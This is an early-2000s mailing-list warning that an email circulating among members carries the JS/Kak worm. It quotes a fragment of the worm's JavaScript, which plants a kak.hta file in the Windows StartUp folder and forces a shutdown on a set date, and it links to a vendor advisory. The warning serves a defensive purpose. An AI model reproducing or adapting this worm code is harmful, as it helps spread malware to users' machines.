[ALBSA-Info] RE: Policet sulmojne studnetet

[Artin Spahiu]

Dear people,
The message "Policet sulmojne studnetet" has an
Internet Worm embedded in it, which is called:
JS/Kak at M 

This can be seen on the lines that follow the message:

"GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new
Date();if(d.getDate()==1 &&
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not
today !');wsh.Run(wd+'RUNDLL32.EXE
user.exe,exitwindows');}self.close();S3 driver memory
alloc failed  
!]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu
Démarrer\\Programmes\\Démarrage\\kak.hta":"C:\\windows\\Start
Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie
5.")!=-1))scr.write(); //-->" 

This should be a modified version of the worm, because
it affects also the web based e-mails like Yahoo,
besides MS Outlook Express...

To learn more about it and see if you are infected go
to:

http://vil.mcafee.com/dispVirus.asp?virus_k=10509&

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/